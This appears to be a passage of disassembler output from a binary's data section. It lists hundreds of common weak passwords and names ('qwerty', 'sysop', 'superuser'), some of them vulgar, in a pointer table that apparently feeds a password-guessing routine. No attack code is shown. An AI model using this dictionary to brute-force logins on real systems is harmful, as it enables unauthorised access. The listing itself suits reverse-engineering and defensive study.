aTape		db 'tape',0             ; DATA XREF: seg002:0042DA18o
		align 4
aTango		db 'tango',0            ; DATA XREF: seg002:0042DA14o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: seg002:0042DA10o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: seg002:0042DA0Co
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg002:0042DA08o
		align 10h
aTami		db 'tami',0             ; DATA XREF: seg002:0042DA04o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg002:0042DA00o
		align 10h
aTall		db 'tall',0             ; DATA XREF: seg002:0042D9FCo
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg002:0042D9F8o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: seg002:0042D9F4o
aSysop		db 'sysop',0            ; DATA XREF: seg002:0042D9F0o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg002:0042D9ECo
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg002:0042D9E8o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg002:0042D9E4o
		align 10h
aSword		db 'sword',0            ; DATA XREF: seg002:0042D9E0o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg002:0042D9DCo
		align 10h
aSweat		db 'sweat',0            ; DATA XREF: seg002:0042D9D8o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg002:0042D9D4o
aSuzie		db 'suzie',0            ; DATA XREF: seg002:0042D9D0o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg002:0042D9CCo
aSusie		db 'susie',0            ; DATA XREF: seg002:0042D9C8o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg002:0042D9C4o
aSusan		db 'susan',0            ; DATA XREF: seg002:0042D9C0o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg002:0042D9BCo
aSurfer		db 'surfer',0           ; DATA XREF: seg002:0042D9B8o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg002:0042D9B4o
		align 4
aSupport	db 'support',0          ; DATA XREF: seg002:0042D9B0o
aSupervis	db 'supervis',0         ; DATA XREF: seg002:0042D9ACo
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg002:0042D9A8o
		align 4
aSupersta	db 'supersta',0         ; DATA XREF: seg002:0042D9A4o
		align 10h
aSuperson	db 'superson',0         ; DATA XREF: seg002:0042D9A0o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg002:0042D99Co
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg002:0042D998o
		align 10h
aSummer		db 'summer',0           ; DATA XREF: seg002:0042D994o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg002:0042D990o
		align 10h
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg002:0042D98Co
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg002:0042D988o
		align 4
aSuccess	db 'success',0          ; DATA XREF: seg002:0042D984o
aSubway		db 'subway',0           ; DATA XREF: seg002:0042D980o
		align 4
aSubscrib	db 'subscrib',0         ; DATA XREF: seg002:0042D97Co
		align 10h
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg002:0042D978o
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg002:0042D970o
		align 4
aString		db 'string',0           ; DATA XREF: seg002:0042D96Co
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg002:0042D968o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg002:0042D964o
		align 4
aStrangle	db 'strangle',0         ; DATA XREF: seg002:0042D960o
		align 10h
aStrange	db 'strange',0          ; DATA XREF: seg002:0042D95Co
aStones		db 'stones',0           ; DATA XREF: seg002:0042D958o
		align 10h
aStoned		db 'stoned',0           ; DATA XREF: seg002:0042D954o
		align 4
dword_430058	dd 6E6F7473h	aEage		db 'eage',0             ; DATA XREF: seg002:off_42549Co
		align 4
aSteve		db 'steve',0            ; DATA XREF: seg002:0042D94Co
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg002:0042D948o
		align 4
aStephani	db 'stephani',0         ; DATA XREF: seg002:0042D944o
		align 10h
aSteph		db 'steph',0            ; DATA XREF: seg002:0042D940o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg002:0042D93Co
		align 10h
aSteal		db 'steal',0            ; DATA XREF: seg002:0042D938o
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg002:0042D934o
		align 10h
aStarwars	db 'starwars',0         ; DATA XREF: seg002:0042D930o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg002:0042D92Co
aStartrek	db 'startrek',0         ; DATA XREF: seg002:0042D928o
		align 10h
aStart		db 'start',0            ; DATA XREF: seg000:0040ED2Bo
					; seg002:0042D924o
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg002:0042D920o
		align 4
aStar		db 'star',0             ; DATA XREF: seg002:0042D91Co
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg002:0042D918o
		align 4
aStacie		db 'stacie',0           ; DATA XREF: seg002:0042D914o
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg002:0042D910o
		align 4
aStacey		db 'stacey',0           ; DATA XREF: seg002:0042D90Co
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg002:0042D908o
		align 4
aSquires	db 'squires',0          ; DATA XREF: seg002:0042D904o
aSpunk		db 'spunk',0            ; DATA XREF: seg002:0042D900o
		align 4
aSpringer	db 'springer',0         ; DATA XREF: seg002:0042D8FCo
		align 10h
aSpring		db 'spring',0           ; DATA XREF: seg002:0042D8F8o
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg002:0042D8F4o
		align 10h
aSpit		db 'spit',0             ; DATA XREF: seg002:0042D8F0o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg002:0042D8ECo
		align 4
aSpider		db 'spider',0           ; DATA XREF: seg002:0042D8E8o
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg002:0042D8E4o
		align 4
aSpell		db 'spell',0            ; DATA XREF: seg002:0042D8E0o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg002:0042D8DCo
		align 4
aSparrows	db 'sparrows',0         ; DATA XREF: seg002:0042D8D8o
		align 10h
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg002:0042D8D4o
		align 4
aSouth		db 'south',0            ; DATA XREF: seg002:0042D8D0o
		align 4
aSource		db 'source',0           ; DATA XREF: seg002:0042D8CCo
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg002:0042D8C8o
aSonya		db 'sonya',0            ; DATA XREF: seg002:0042D8C4o
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg002:0042D8C0o
		align 4
aSonia		db 'sonia',0            ; DATA XREF: seg002:0042D8BCo
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg002:0042D8B8o
		align 4
aSomebody	db 'somebody',0         ; DATA XREF: seg002:0042D8B4o
		align 10h
aSoftware	db 'software',0         ; DATA XREF: seg002:0042D8B0o
		align 4
aSoft		db 'soft',0             ; DATA XREF: seg002:0042D8ACo
		align 4
aSodomy		db 'sodomy',0           ; DATA XREF: seg002:0042D8A8o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: seg002:0042D8A4o
		align 4
aSocial		db 'social',0           ; DATA XREF: seg002:0042D8A0o
		align 10h
aSoap		db 'soap',0             ; DATA XREF: seg002:0042D89Co
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg002:0042D898o
		align 10h
aSnatch		db 'snatch',0           ; DATA XREF: seg002:0042D894o
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg002:0042D890o
		align 10h
aSnafu		db 'snafu',0            ; DATA XREF: seg002:0042D88Co
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg002:0042D888o
		align 10h
aSmut		db 'smut',0             ; DATA XREF: seg002:0042D884o
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg002:0042D880o
		align 10h
aSmother	db 'smother',0          ; DATA XREF: seg002:0042D87Co
aSmooch		db 'smooch',0           ; DATA XREF: seg002:0042D878o
		align 10h
aSmiles		db 'smiles',0           ; DATA XREF: seg002:0042D874o
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg002:0042D870o
		align 10h
aSmart		db 'smart',0            ; DATA XREF: seg002:0042D86Co
		align 4
aSmall		db 'small',0            ; DATA XREF: seg002:0042D868o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: seg002:0042D864o
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg002:0042D860o
		align 10h
aSliders	db 'sliders',0          ; DATA XREF: seg002:0042D85Co
aSlick		db 'slick',0            ; DATA XREF: seg002:0042D858o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: seg002:0042D854o
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg002:0042D850o
		align 10h
aSite		db 'site',0             ; DATA XREF: seg002:0042D84Co
		align 4
aSingle		db 'single',0           ; DATA XREF: seg002:0042D848o
		align 10h
aSinger		db 'singer',0           ; DATA XREF: seg002:0042D844o
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg002:0042D840o
		align 4
aSimpsons	db 'simpsons',0         ; DATA XREF: seg002:0042D83Co
		align 10h
aSimple		db 'simple',0           ; DATA XREF: seg002:0042D838o
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg002:0042D834o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: seg002:0042D830o
aSilver		db 'silver',0           ; DATA XREF: seg002:0042D82Co
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: seg002:0042D828o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg002:0042D824o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg002:0042D820o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg002:0042D81Co
aShort		db 'short',0            ; DATA XREF: seg002:0042D818o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg002:0042D814o
aShiva		db 'shiva',0            ; DATA XREF: seg002:0042D810o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg002:0042D80Co
aShit		db 'shit',0             ; DATA XREF: seg002:0042D808o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg002:0042D804o
aShift		db 'shift',0            ; DATA XREF: seg002:0042D800o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg002:0042D7FCo
		align 4
aShell		db 'shell',0            ; DATA XREF: seg002:0042D7F8o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg002:0042D7F4o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg002:0042D7F0o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: seg002:0042D7ECo
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg002:0042D7E8o
		align 10h
aShark		db 'shark',0            ; DATA XREF: seg002:0042D7E4o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg002:0042D7E0o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: seg002:0042D7DCo
aSexy		db 'sexy',0             ; DATA XREF: seg002:0042D7D8o
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: seg002:0042D7D4o
		align 4
aService	db 'service',0          ; DATA XREF: seg002:0042D7D0o
					; seg002:0042E398o
aSerial_0	db 'serial',0           ; DATA XREF: seg002:0042D7CCo
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg002:0042D7C8o
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg002:0042D7C4o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg002:0042D7C0o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg002:0042D7BCo
		align 10h
aSega		db 'sega',0             ; DATA XREF: seg002:0042D7B8o
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg002:0042D7B4o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: seg002:0042D7B0o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg002:0042D7ACo
		align 4
aScout		db 'scout',0            ; DATA XREF: seg002:0042D7A8o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg002:0042D7A4o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg002:0042D7A0o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg002:0042D79Co
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg002:0042D798o
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg002:0042D794o
aSchool		db 'school',0           ; DATA XREF: seg002:0042D790o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg002:0042D78Co
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg002:0042D788o
aSaxon		db 'saxon',0            ; DATA XREF: seg002:0042D784o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg002:0042D780o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg002:0042D77Co
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: seg002:0042D778o
		align 4
aSara		db 'sara',0             ; DATA XREF: seg002:0042D774o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: seg002:0042D770o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg002:0042D76Co
		align 10h
aSample		db 'sample',0           ; DATA XREF: seg002:0042D768o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg002:0042D764o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg002:0042D760o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg002:0042D75Co
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg002:0042D758o
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg002:0042D754o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg002:0042D750o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg002:0042D74Co
		align 4
aRunning	db 'running',0          ; DATA XREF: seg002:0042D748o
aRules		db 'rules',0            ; DATA XREF: seg002:0042D744o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg002:0042D740o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg002:0042D73Co
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg002:0042D738o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg002:0042D734o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg002:0042D730o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg002:0042D72Co
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg002:0042D728o
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: seg002:0042D724o
aRose		db 'rose',0             ; DATA XREF: seg002:0042D720o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: seg002:0042D71Co
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg002:0042D718o
aRomeo		db 'romeo',0            ; DATA XREF: seg002:0042D714o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg002:0042D710o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: seg002:0042D70Co
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg002:0042D708o
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg002:0042D704o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg002:0042D700o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg002:0042D6FCo
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg002:0042D6F8o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg002:0042D6F4o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg002:0042D6F0o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg002:0042D6ECo
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg002:0042D6E8o
		align 10h
aRobin		db 'robin',0            ; DATA XREF: seg002:0042D6E4o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg002:0042D6E0o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: seg002:0042D6DCo
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg002:0042D6D8o
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: seg002:0042D6D4o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg002:0042D6D0o
		align 10h
aRing		db 'ring',0             ; DATA XREF: seg002:0042D6CCo
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg002:0042D6C8o
		align 4
aRight		db 'right',0            ; DATA XREF: seg002:0042D6C4o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg002:0042D6C0o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg002:0042D6BCo
		align 10h
aRich		db 'rich',0             ; DATA XREF: seg002:0042D6B8o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg002:0042D6B4o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: seg002:0042D6B0o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg002:0042D6ACo
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg002:0042D6A8o
		align 10h
aReport		db 'report',0           ; DATA XREF: seg002:0042D6A4o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg002:0042D6A0o
		align 10h
aReno		db 'reno',0             ; DATA XREF: seg002:0042D69Co
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg002:0042D698o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: seg002:0042D694o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg002:0042D690o
aRegional	db 'regional',0         ; DATA XREF: seg002:0042D68Co
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg002:0042D688o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg002:0042D684o
aReddawn	db 'reddawn',0          ; DATA XREF: seg002:0042D680o
aRecord		db 'record',0           ; DATA XREF: seg002:0042D67Co
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: seg002:0042D678o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg002:0042D674o
aRebal		db 'rebal',0            ; DATA XREF: seg002:0042D670o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg002:0042D66Co
		align 10h
aReam		db 'ream',0             ; DATA XREF: seg002:0042D668o
		align 4
aReally		db 'really',0           ; DATA XREF: seg002:0042D664o
		align 10h
aReality	db 'reality',0          ; DATA XREF: seg002:0042D660o
aReagan		db 'reagan',0           ; DATA XREF: seg002:0042D65Co
		align 10h
aRazor		db 'razor',0            ; DATA XREF: seg002:0042D658o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg002:0042D654o
		align 10h
aRape		db 'rape',0             ; DATA XREF: seg002:0042D650o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg002:0042D648o
aRaindrop	db 'raindrop',0         ; DATA XREF: seg002:0042D644o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg002:0042D640o
aRain		db 'rain',0             ; DATA XREF: seg002:0042D63Co
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg002:0042D638o
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg002:0042D634o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: seg002:0042D630o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg002:0042D62Co
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg002:0042D628o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:0042D624o
					; seg002:0042E37Co
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg002:0042D620o
					; seg002:0042E378o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg002:0042D61Co
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg002:0042D618o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: seg002:0042D614o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg002:0042D610o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg002:0042D60Co
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg002:0042D608o
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg002:0042D604o
aPuke		db 'puke',0             ; DATA XREF: seg002:0042D600o
		align 10h
aPuck		db 'puck',0             ; DATA XREF: seg002:0042D5FCo
		align 4
aPublic		db 'public',0           ; DATA XREF: seg002:0042D5F8o
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: seg002:0042D5F4o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg002:0042D5F0o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg002:0042D5ECo
		align 10h
aProtect	db 'protect',0          ; DATA XREF: seg002:0042D5E8o
aPrompt		db 'prompt',0           ; DATA XREF: seg002:0042D5E4o
		align 10h
aProgram	db 'program',0          ; DATA XREF: seg002:0042D5E0o
aProfile	db 'profile',0          ; DATA XREF: seg002:0042D5DCo
aProfesso	db 'professo',0         ; DATA XREF: seg002:0042D5D8o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg002:0042D5D4o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg002:0042D5D0o
aPrivs		db 'privs',0            ; DATA XREF: seg002:0042D5CCo
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg002:0042D5C8o
aPriv		db 'priv',0             ; DATA XREF: seg002:0042D5C4o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg002:0042D5C0o
aPrinceto	db 'princeto',0         ; DATA XREF: seg002:0042D5BCo
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg002:0042D5B8o
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg002:0042D5B4o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg002:0042D5B0o
aPrecious	db 'precious',0         ; DATA XREF: seg002:0042D5ACo
		align 10h
aPraise		db 'praise',0           ; DATA XREF: seg002:0042D5A8o
		align 4
aPower		db 'power',0            ; DATA XREF: seg002:0042D5A4o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: seg002:0042D5A0o
		align 4
aPost		db 'post',0             ; DATA XREF: seg002:0042D59Co
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: seg002:0042D598o
aPorno		db 'porno',0            ; DATA XREF: seg002:0042D594o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: seg002:0042D590o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg002:0042D58Co
		align 10h
aPoor		db 'poor',0             ; DATA XREF: seg002:0042D588o
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg002:0042D584o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: seg002:0042D580o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: seg002:0042D57Co
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg002:0042D578o
		align 10h
aPolice		db 'police',0           ; DATA XREF: seg002:0042D574o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg002:0042D570o
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: seg002:0042D56Co
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg002:0042D568o
		align 4
aPlover		db 'plover',0           ; DATA XREF: seg002:0042D564o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: seg002:0042D560o
aPlane		db 'plane',0            ; DATA XREF: seg002:0042D55Co
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg002:0042D558o
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg002:0042D554o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg002:0042D550o
aPimp		db 'pimp',0             ; DATA XREF: seg002:0042D54Co
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg002:0042D548o
		align 4
aPick		db 'pick',0             ; DATA XREF: seg002:0042D544o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: seg002:0042D540o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: seg002:0042D53Co
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: seg002:0042D538o
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg002:0042D534o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: seg002:0042D530o
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg002:0042D52Co
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg002:0042D528o
aPhilip		db 'philip',0           ; DATA XREF: seg002:0042D524o
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg002:0042D520o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:0042D51Co
		align 4
aPete		db 'pete',0             ; DATA XREF: seg002:0042D518o
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg002:0042D514o
aPersona	db 'persona',0          ; DATA XREF: seg002:0042D510o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg002:0042D50Co
		align 10h
aPermit		db 'permit',0           ; DATA XREF: seg002:0042D508o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg002:0042D504o
aPercolat	db 'percolat',0         ; DATA XREF: seg002:0042D500o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: seg002:0042D4FCo
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: seg002:0042D4F8o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: seg002:0042D4F4o
aPenthous	db 'penthous',0         ; DATA XREF: seg002:0042D4F0o
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: seg002:0042D4ECo
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: seg002:0042D4E8o
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg002:0042D4E4o
aPenis		db 'penis',0            ; DATA XREF: seg002:0042D4E0o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg002:0042D4DCo
aPenelope	db 'penelope',0         ; DATA XREF: seg002:0042D4D8o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: seg002:0042D4D4o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: seg002:0042D4D0o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: seg002:0042D4CCo
aPaula		db 'paula',0            ; DATA XREF: seg002:0042D4C8o
		align 4
aPatty		db 'patty',0            ; DATA XREF: seg002:0042D4C4o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: seg002:0042D4C0o
aPatricia	db 'patricia',0         ; DATA XREF: seg002:0042D4BCo
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg002:0042D4B8o
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: seg002:0042D4B4o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: seg002:0042D4B0o
		align 4
aPapers		db 'papers',0           ; DATA XREF: seg002:0042D4ACo
		align 4
aPaper		db 'paper',0            ; DATA XREF: seg002:0042D4A8o
		align 4
aPapa		db 'papa',0             ; DATA XREF: seg002:0042D4A4o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: seg002:0042D4A0o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: seg002:0042D49Co
		align 10h
aPaint		db 'paint',0            ; DATA XREF: seg002:0042D498o
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg002:0042D494o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg002:0042D490o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg002:0042D48Co
aPacific	db 'pacific',0          ; DATA XREF: seg002:0042D488o
aOxford		db 'oxford',0           ; DATA XREF: seg002:0042D484o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg002:0042D480o
aOutput		db 'output',0           ; DATA XREF: seg002:0042D47Co
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg002:0042D478o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg002:0042D474o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg002:0042D470o
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: seg002:0042D46Co
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg002:0042D468o
		align 10h
aOrient		db 'orient',0           ; DATA XREF: seg002:0042D464o
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg002:0042D460o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: seg002:0042D45Co
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg002:0042D458o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg002:0042D454o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg002:0042D450o
aOmega		db 'omega',0            ; DATA XREF: seg002:0042D448o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg002:0042D444o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg002:0042D440o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg002:0042D43Co
		align 10h
aOkay		db 'okay',0             ; DATA XREF: seg002:0042D438o
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:0042D434o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: seg002:0042D430o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg002:0042D42Co
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg002:0042D428o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: seg002:0042D424o
aNuts		db 'nuts',0             ; DATA XREF: seg002:0042D420o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: seg002:0042D41Co
		align 4
aNumber		db 'number',0           ; DATA XREF: seg002:0042D418o
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:0042D414o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg002:0042D410o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg002:0042D40Co
		align 4
aNude		db 'nude',0             ; DATA XREF: seg002:0042D408o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg002:0042D404o
aNoxious	db 'noxious',0          ; DATA XREF: seg002:0042D400o
aNovember	db 'november',0         ; DATA XREF: seg002:0042D3FCo
		align 10h
